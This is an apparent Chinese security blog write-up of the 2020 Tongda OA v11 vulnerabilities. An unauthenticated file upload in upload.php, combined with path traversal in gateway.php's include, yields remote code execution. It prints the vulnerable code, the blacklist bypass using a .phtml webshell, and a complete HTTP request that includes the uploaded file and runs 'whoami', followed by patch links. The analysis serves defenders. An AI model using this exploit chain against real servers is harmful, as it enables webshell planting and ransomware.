【漏洞分析&漏洞复现】通达OA任意文件上传和文件包含漏洞导致RCE分析及复现

【漏洞分析&漏洞复现】通达OA任意文件上传和文件包含漏洞导致RCE分析及复现

漏洞名称 通达OA文件包含漏洞
CVE编号 -
影响范围 通达OA v11版本
威胁等级 高危
公开时间#### 一、事件背景

近日,通达OA在官方论坛发布了紧急通知,提供了针对部分用户反馈遭到勒索病毒攻击的安全加固程序。根据公告,遭受攻击的OA服务器首页被恶意篡改,伪装成OA系统错误提示页面让用户下载安装插件,同时服务器上文件被勒索病毒重命名加密,论坛中有多个用户反馈中招(具体现象为:主页被篡改、站点文件扩展名被修改、并生成一个勒索提示文本文件),论坛地址:
http://club.tongda2000.com/forum.php?mod=viewthread&tid=128367&extra=page%3D1

通过在v11.3版本的测试发现全版本的任意文件上传漏洞结合v11版本的文件包含漏洞可以造成远程命令执行,默认为System权限,恶意攻击者可以成功上传Webshell后门,并进一步释放勒索病毒,危害较大。

二、漏洞信息

漏洞名称 通达OA任意文件上传漏洞
CVE编号 -
影响范围 通达OA 2013/2013增强/2015/2016/2017/v11版本
威胁等级 高危
公开时间 2020年3月13日
2020年3月13日

三、漏洞分析

3.1 补丁对比

http://www.tongda2000.com/news/673.php

根据通达官方的修复说明,需要替换MYOA\webroot下的文件
下载官方发布的所有版本的补丁分析后发现:
2013/2013增强/2015/2016/2017版本的补丁只有1个文件ispirit\im\upload.php;
v11版本的的补丁文件与此次漏洞相关的有ispirit\im\upload.php 和ispirit/interface/gateway.php 等多个文件,所以v11 版本同时受2个漏洞的影响,其他版本暂不确定。

本次分析以通达v11 版本 为例

  • 注意:通达OA的php文件采用的是zend54 加密,可以使用 SeayDzend工具进行解密,工具下载地址见附录
补丁1: ispirit\im\upload.php 任意文件上传漏洞

对比补丁前后发现 主要是为了修复未登录任意上传文件,有2处更改
首先第1处,就是关于登陆验证文件’./auth.php’ 的调用

但在upload.php未修复前,有一个if判断如果$P存在且非空就不需要经过auth.php验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。补丁文件中是直接强制include_once ‘./auth.php’; 进行登录验证。
第2处,修改是在upload.php中 增加了登录的与数据库中的Session校验

1
2
3
4
5
6
7
8
9
10
$time = time();
$sql = 'select * from im_recent where ((from_id = \'' . $_SESSION['LOGIN_UID'] . '\' and to_id = \'' . $DEST_UID . '\') or (from_id = \'' . $DEST_UID . '\' and to_id = \'' . $_SESSION['LOGIN_UID'] . '\')) and type = \'1\'';
$cursor = exequery(TD::conn(), $sql);
if (0 < mysql_num_rows($cursor)) {
$sql1 = 'UPDATE im_recent SET update_time = \'' . $time . '\' WHERE ((from_id = \'' . $_SESSION['LOGIN_UID'] . '\' and to_id = \'' . $DEST_UID . '\') or (from_id = \'' . $DEST_UID . '\' and to_id = \'' . $_SESSION['LOGIN_UID'] . '\')) and type = \'1\'';
exequery(TD::conn(), $sql1);
} else {
$sql2 = 'INSERT INTO im_recent (from_id,to_id,update_time,type) VALUES (\'' . $_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID . '\',\'' . $time . '\',\'1\')';
exequery(TD::conn(), $sql2);
}

分析完补丁之后我们来整体分析下存在漏洞upload.php 文件
1.先判断$P 参数是否存在调用Session和 auth登录认证,当$P非空时此处可以绕过auth.php登录验证
2.判断$DEST_UID是否为空;其次如果DEST_UID 中存在有,,则通过intval获取整数值;最后当$DEST_UID=0时,UPLOAD_MODE要为2 否接收方ID无效。

3.UPLOAD_MODE 有3种模式,vociemsg\weixunshare\im,其中im是默认模式,
$_FILES全局变量大于等于1的时候(就是有文件上传的时候),会调用
upload方法进行处理,这里的文件上传的 name 为name=”ATTACHMENT

  1. 跟进inc\utility_file.php 的upload方法,发现有个文件名校验函数is_uploadable

    我们看下关于文件后缀名的获取方式,是通过strrpos 函数获取.最后一次出现的位置开始到后面的3个字符串,不能为php,其实黑名单有很多种方式绕过,比如上传后缀名为.phtml.cpt 等都可以绕过
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    function is_uploadable($FILE_NAME)
    {
    $POS = strrpos($FILE_NAME, ".");

    if ($POS === false) {
    $EXT_NAME = $FILE_NAME;
    }
    else {
    if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {
    return false;
    }

    $EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
    }
补丁2:ispirit/interface/gateway.php 文件包含漏洞

通过对比v11.3版本的补丁中gateway.php前后代码发现 第47行后面,增加了对url地址种的..符号的判断,防止用户读取其他目录文件。

通读修复之前的代码发现,整个流程为foreach循环解析$json,如果$key键等于字符串url ,则$url={$key所对应的值},如果$url非空则调用 ,且数据中包含’general/‘ or ‘ispirit/‘or ‘module/‘时,就会调用include_once对$url进行包含。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);

foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;

foreach ($val as $keys => $value ) {
$keys = $value;
}
}

if ($key == "url") {
$url = $val;
}
}

if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}

if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}

那么就可以在url中传入../ 进行跨目录,从而可以包含第1个漏洞上传的php文件,造成RCE

四、漏洞复现

*本次复现以通达OAv11.3 版本 为例
第1个漏洞的Poc的构造需要满足四个条件: P非空、DEST_UID非空且为数字、UPLOAD_MODE为1或2或3、ATTACHMENT的filename后缀名不能为php
最后构造的Payload如下

上传了1个文件名为a.phtml的php文件 绕过黑名单检测
路径为 attach/im/2003/72566742.a.phtml 但该目录不在webroot下不能直接执行webshell,才需要利用后面的文件包含漏洞跨目录解析

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.80.1:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie:PHPSESSID=pr7a35d0sh8gheukb4mg6990h4;
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

json={"url":"module/../../attach/im/2003/72566742.a.phtml"}&cmd=whoami

最后RCE成功,有一点需要提醒下,通达OA开启了 disable_funcation 功能 很多常见的命令执行函数如 exec、eval、system等都被禁止了,需要bypass
想学习绕过的可以参考:
https://www.cnblogs.com/-qing-/p/10944118.html

五、修复建议

官方提供了以下可能受到影响的版本的补丁:
2013版、2013增强版、2015版、2016版、2017版、V11版本
下载地址:

1
2
3
4
5
6
V11版:http://cdndown.tongda2000.com/oa/security/2020_A1.11.3.exe
2017版:http://cdndown.tongda2000.com/oa/security/2020_A1.10.19.exe
2016版:http://cdndown.tongda2000.com/oa/security/2020_A1.9.13.exe
2015版:http://cdndown.tongda2000.com/oa/security/2020_A1.8.15.exe
2013增强版:http://cdndown.tongda2000.com/oa/security/2020_A1.7.25.exe
2013版:http://cdndown.tongda2000.com/oa/security/2020_A1.6.20.exe

六、附录

本次分析及复现的相关工具地址

https://github.com/SecurityCN/Vulnerability-analysis/tree/master/通达OA3月漏洞

参考:

*http://club.tongda2000.com/forum.php?mod=viewthread&tid=128377&extra=page%3D1
*https://www.webshell.cc/6379.html
*https://www.cnblogs.com/-qing-/p/10944118.html

扫码关注公众号(SecurityCN) wechat
欢迎您扫码关注SecurityCN(微信公众号:securitycn),本号会发布一些个人学习及研究文章,包括但不限于漏洞分析、漏洞挖掘、代码审计、IOT安全、比赛、培训认证等
坚持原创技术分享,您的支持将鼓励我继续创作!